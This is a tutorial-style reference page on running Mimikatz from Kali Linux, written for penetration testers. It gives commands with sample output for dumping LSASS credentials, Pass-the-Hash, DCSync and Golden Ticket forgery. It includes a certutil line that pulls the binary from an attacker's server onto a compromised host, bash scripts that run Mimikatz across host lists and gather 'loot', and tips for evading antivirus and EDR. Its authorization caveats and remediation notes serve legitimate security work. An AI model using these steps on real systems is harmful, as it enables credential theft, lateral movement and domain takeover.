Mimikatz is one of the most widely used post-exploitation credential-access tools in the Windows security ecosystem. Originally created by Benjamin Delpy (gentilkiwi) as a proof-of-concept to demonstrate flaws in Microsoft’s authentication implementations, it has since become a staple tool in penetration testing, red teaming, and Active Directory security assessments. Mimikatz is capable of extracting plaintext passwords, password hashes, PIN codes, and Kerberos tickets directly from memory (LSASS process), as well as performing attacks such as Pass-the-Hash, Pass-the-Ticket, Over-Pass-the-Hash, and Golden/Silver Ticket forgery. On Kali Linux, Mimikatz itself is a native Windows binary (written in C, compiled for Windows), so it is typically staged and executed against a compromised Windows target rather than run natively on the Linux attack box. However, Kali provides several supporting tools and a Linux-compatible implementation path so operators can prepare, deliver, and interact with Mimikatz output as part of a broader engagement workflow.
Introduction
Mimikatz was designed to interact directly with the Windows Local Security Authority Subsystem Service (LSASS), the process responsible for enforcing security policy and storing credential material in memory after a user authenticates. Because Windows caches credentials in memory to support Single Sign-On (SSO), Mimikatz can read this memory space (with sufficient privileges) and extract secrets such as:
- Cleartext passwords (on older/unpatched systems, or when WDigest is enabled)
- NTLM password hashes
- Kerberos tickets (TGTs and service tickets)
- Cached domain credentials
- DPAPI master keys and protected secrets
Mimikatz is modular, organized into functional groups (“modules”) such as sekurlsa, lsadump, kerberos, crypto, vault, and ts (Terminal Services). It requires local Administrator or SYSTEM privileges on the target host to access LSASS memory, and it is frequently flagged by antivirus and EDR products, making evasion (obfuscation, in-memory execution, or use of forks) a common companion topic.
In a Kali Linux context, Mimikatz is generally:
- Downloaded/staged onto Kali as a Windows PE binary
- Transferred to a compromised Windows host (via SMB, HTTP, Evil-WinRM, etc.)
- Executed on that Windows host, either interactively or via a remote shell
- Its output is then parsed and used for lateral movement or privilege escalation
Installation
Mimikatz is not a native Linux tool, so “installation” on Kali means fetching the compiled Windows binaries so they can be staged to a target.
Installing via apt (Kali repository)
Kali ships a package that provides the Mimikatz Windows binaries for convenient staging:
sudo apt update
sudo apt install mimikatz -y
After installation, the Windows executables are typically placed under:
/usr/share/windows-resources/mimikatz/
Verify the install:
ls -lh /usr/share/windows-resources/mimikatz/
Expected output (paths may vary slightly by version):
total 16K
drwxr-xr-x 2 root root 4.0K Jan 10 09:12 Win32
drwxr-xr-x 2 root root 4.0K Jan 10 09:12 x64
Inside x64/ you will find mimikatz.exe, mimidrv.sys, and mimilib.dll.
Installing from source (GitHub release)
If the apt package is outdated, pull the latest compiled release directly from the official repository:
cd /opt
git clone https://github.com/gentilkiwi/mimikatz.git
Or download a specific compiled release archive:
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -O mimikatz.zip
unzip mimikatz.zip -d mimikatz
Preparing a transfer server
Since Mimikatz must run on the Windows target, stage a quick HTTP server on Kali to deliver the binary:
cd /usr/share/windows-resources/mimikatz/x64
python3 -m http.server 8080
Then, from the compromised Windows host (e.g., via a shell), retrieve it:
certutil.exe -urlcache -f http://<KALI_IP>:8080/mimikatz.exe C:\Windows\Temp\mimikatz.exe
Syntax
Mimikatz is executed on the Windows target and uses a command interpreter with module-scoped commands. The general syntax pattern is:
mimikatz.exe [module::command] [arguments]
It can be run interactively (dropping into a mimikatz # prompt) or non-interactively by chaining commands with the -c style invocation used by post-exploitation frameworks (e.g., Metasploit’s load kiwi, or PowerShell wrappers).
Interactive invocation:
C:\Windows\Temp> mimikatz.exe
This opens the interactive shell:
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 12:34:56
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ***/
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
Commands within the shell follow module::command syntax, for example:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Command Line Options / Modules
Mimikatz is organized by module. The most commonly used modules and commands in an authorized engagement are:
privilege module
privilege::debug— requests SeDebugPrivilege, required before touching LSASS memory.
sekurlsa module (LSASS memory credential extraction)
sekurlsa::logonpasswords— dumps credentials of all logged-on users from LSASS memory.sekurlsa::wdigest— dumps WDigest cleartext credentials (if enabled).sekurlsa::tickets— lists Kerberos tickets currently in memory.sekurlsa::pth— performs a Pass-the-Hash attack (/user,/domain,/ntlm,/run).sekurlsa::minidump— loads a previously captured LSASS minidump file for offline parsing.
lsadump module (SAM/registry/domain secrets)
lsadump::sam— dumps local SAM database hashes (requires access to registry hives or live SAM).lsadump::secrets— dumps LSA secrets from the registry.lsadump::cache— dumps cached domain logon credentials (mscash).lsadump::dcsync— performs a DCSync attack, impersonating a Domain Controller to request password data for a given account (/user:<target>).
kerberos module
kerberos::list— lists Kerberos tickets for the current session.kerberos::ptt— Pass-the-Ticket, injects a.kirbiticket file into the current session.kerberos::golden— forges a Golden Ticket (requires krbtgt hash, domain SID, domain name).kerberos::purge— clears all Kerberos tickets from the current session.
crypto module
crypto::capi— patches CryptoAPI to allow exporting non-exportable private keys.crypto::certificates— lists/exports certificates and private keys.
token module
token::list— lists available access tokens.token::elevate— impersonates a listed token (commonly SYSTEM).
misc / event / process modules
misc::cmd— restorescmd.exeif disabled by GPO.event::drop— attempts to blind Windows Event Logging.process::list— lists running processes with PIDs.
general options
exit— closes the Mimikatz session.log <file>— logs all console output to a file.
Basic Usage
The most common baseline workflow: elevate privileges, then dump logon credentials.
C:\Windows\Temp> mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Expected (truncated) output:
Authentication Id : 0 ; 615431 (00000000:00096547)
Session : Interactive from 1
User Name : jsmith
Domain : CORP
Logon Server : DC01
Logon Time : 7/19/2026 9:14:22 AM
SID : S-1-5-21-3623811015-3361044348-30300820-1013
msv :
[00000003] Primary
* Username : jsmith
* Domain : CORP
* NTLM : 8846f7eaee8fb117ad06bd6bb76e3fdd
* SHA1 : b89eaac7e61417341b710b727768294d0e6a277
kerberos :
* Username : jsmith
* Domain : CORP.LOCAL
* Password : (null)
Practical Examples with Output
Example 1 — Requesting debug privilege
mimikatz # privilege::debug
Privilege '20' OK
Example 2 — Dumping all logon credentials
mimikatz # sekurlsa::logonpasswords
...
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
Example 3 — Dumping WDigest cleartext passwords
mimikatz # sekurlsa::wdigest
Authentication Id : 0 ; 615431
User Name : jsmith
Domain : CORP
wdigest :
* Username : jsmith
* Domain : CORP
* Password : Summer2026!
Example 4 — Dumping the local SAM database
mimikatz # lsadump::sam
Domain : DESKTOP-01
SysKey : abcdef1234567890abcdef1234567890
Local SID : S-1-5-21-...
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
Example 5 — Performing Pass-the-Hash
mimikatz # sekurlsa::pth /user:administrator /domain:CORP /ntlm:8846f7eaee8fb117ad06bd6bb76e3fdd /run:cmd.exe
user : administrator
domain : CORP
program : cmd.exe
NTLM : 8846f7eaee8fb117ad06bd6bb76e3fdd
| PID 4108
| TID 3920
| LSA Process is now R/W
| LUID 0 ; 725882 (00000000:000b13ba)
\_ msv1_0 - data copy @ 000001F4A3B2C0D0 : OK !
\_ kerberos - data copy @ 000001F4A3B45E10 : OK !
Example 6 — Listing Kerberos tickets
mimikatz # sekurlsa::tickets
[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 7/19/2026 9:14:22 AM ; 7/19/2026 7:14:22 PM ; 7/26/2026 9:14:22 AM
Server Name : krbtgt/CORP.LOCAL @ CORP.LOCAL
Client Name : jsmith @ CORP.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Example 7 — Executing a DCSync attack
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
Example 8 — Forging a Golden Ticket
mimikatz # kerberos::golden /user:fakeadmin /domain:corp.local /sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:2892d26cdf84d7a70e2eb3b9f05c425e /ptt
User : fakeadmin
Domain : corp.local
SID : S-1-5-21-3623811015-3361044348-30300820
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 2892d26cdf84d7a70e2eb3b9f05c425e - rc4_hmac_nt
Golden ticket for 'fakeadmin @ corp.local' successfully submitted for current session
Example 9 — Pass-the-Ticket from a saved .kirbi file
mimikatz # kerberos::ptt C:\Temp\admin.kirbi
* File: 'admin.kirbi': OK
Example 10 — Dumping cached domain credentials
mimikatz # lsadump::cache
Domain : CORP
SysKey : abcdef1234567890abcdef1234567890
0 - jsmith
LM :
NTLM: 5835048ce94ad0564e29a924a03510ef
Example 11 — Logging Mimikatz output to a file
mimikatz # log C:\Temp\mimikatz_output.txt
Using 'C:\Temp\mimikatz_output.txt' for logfile : OK
mimikatz # sekurlsa::logonpasswords
Example 12 — Exiting the session
mimikatz # exit
Bye!
Common Use Cases
- Post-exploitation credential harvesting — after gaining local admin on a workstation, dump all cached logon credentials for lateral movement.
- Privilege escalation — using cached SYSTEM or Domain Admin credentials found in memory to escalate access.
- Lateral movement — using Pass-the-Hash or Pass-the-Ticket to authenticate to other hosts without knowing the plaintext password.
- Domain persistence testing — demonstrating impact of a Golden Ticket attack when the krbtgt hash is compromised, to justify a krbtgt password reset (twice) as a remediation.
- Domain Controller compromise validation — using DCSync to show that an attacker with replication rights can extract any account’s hash without touching the DC’s disk.
- Credential exposure audits — checking whether WDigest is enabled, exposing cleartext passwords in memory, and recommending it be disabled via GPO.
Automation with Bash
While Mimikatz itself runs on Windows, Kali-side Bash scripting is used to automate staging, delivery, and log collection across many targets.
Bash script to stage Mimikatz and serve it over HTTP
#!/bin/bash
# stage_mimikatz.sh - stage mimikatz for delivery
MIMI_DIR="/usr/share/windows-resources/mimikatz/x64"
PORT=8080
if [ ! -d "$MIMI_DIR" ]; then
echo "[-] Mimikatz directory not found. Installing..."
sudo apt install mimikatz -y
fi
cd "$MIMI_DIR" || exit 1
echo "[+] Serving mimikatz.exe on port $PORT"
python3 -m http.server "$PORT"
Bash script to automate execution across multiple hosts via Evil-WinRM
#!/bin/bash
# run_mimikatz_multi.sh - run mimikatz commands over evil-winrm on a host list
TARGETS="targets.txt"
USER="administrator"
HASH="8846f7eaee8fb117ad06bd6bb76e3fdd"
while read -r ip; do
echo "[*] Targeting $ip"
evil-winrm -i "$ip" -u "$USER" -H "$HASH" \
-s /opt/scripts/invoke-mimikatz.ps1 \
-e /opt/scripts/ > "loot_${ip}.txt" 2>&1
echo "[+] Output saved to loot_${ip}.txt"
done < "$TARGETS"
Bash script to parse NTLM hashes out of collected logs
#!/bin/bash
# extract_hashes.sh - pull NTLM hashes from mimikatz output logs
grep -oE "NTLM\s*:\s*[a-f0-9]{32}" ./loot_*.txt | awk -F: '{print $2}' | tr -d ' ' | sort -u > all_ntlm_hashes.txt
echo "[+] Unique NTLM hashes saved to all_ntlm_hashes.txt"
wc -l all_ntlm_hashes.txt
Tips and Best Practices
- Always confirm written authorization and scope before extracting or handling live credentials.
- Run
privilege::debugbefore anysekurlsacommand; without SeDebugPrivilege, LSASS access will fail. - Prefer taking an LSASS memory dump (
procdump -ma lsass.exe) and parsing it offline withsekurlsa::minidumpto reduce time spent live in a monitored process. - Expect AV/EDR detection; understand that evasion techniques (in-memory loading via reflective DLL, patchless AMSI bypass, forked/obfuscated builds) may be needed and should be authorized as part of the engagement’s rules of engagement.
- Immediately treat recovered credentials (especially krbtgt and Domain Admin hashes) as extremely sensitive; store, transmit, and dispose of them per the engagement’s data-handling policy.
- After a Golden Ticket demonstration, recommend resetting the krbtgt password twice (to invalidate both current and previous hash) as remediation guidance.
- Use
logto keep an audit trail of every command executed, which is useful both for reporting and for chain-of-custody purposes.
Troubleshooting
| Issue | Likely Cause | Resolution |
|---|---|---|
ERROR kuhl_m_sekurlsa_acquireLSA | Not running as Administrator/SYSTEM | Re-launch elevated (runas, or via PsExec/Evil-WinRM as an admin account) |
privilege::debug returns ERROR kuhl_m_privilege_simple | Token doesn’t have SeDebugPrivilege available | Ensure the account used has local Administrator rights; UAC may need bypassing |
| Mimikatz binary deleted immediately after write | AV/EDR quarantined the file | Use an unmodified but currently undetected build, in-memory execution, or authorized AV exclusion for the test window |
sekurlsa::logonpasswords shows no passwords, only NTLM | WDigest disabled (default on modern Windows) | This is expected; cleartext extraction depends on legacy settings — rely on hashes/tickets instead |
kerberos::golden ticket rejected by DC | Wrong domain SID or krbtgt hash | Re-verify with whoami /user and confirm hash via lsadump::dcsync before forging |
| Execution blocked by Windows Defender real-time protection | Signature-based detection of mimikatz.exe | Coordinate a defender exclusion with the client, or use process injection/loader techniques within agreed scope |
References
- Official Mimikatz repository: https://github.com/gentilkiwi/mimikatz
- Benjamin Delpy’s blog: https://blog.gentilkiwi.com/mimikatz
- Kali Linux tool page: https://www.kali.org/tools/mimikatz/
- MITRE ATT&CK — OS Credential Dumping (T1003): https://attack.mitre.org/techniques/T1003/
- MITRE ATT&CK — Golden Ticket (T1558.001): https://attack.mitre.org/techniques/T1558/001/
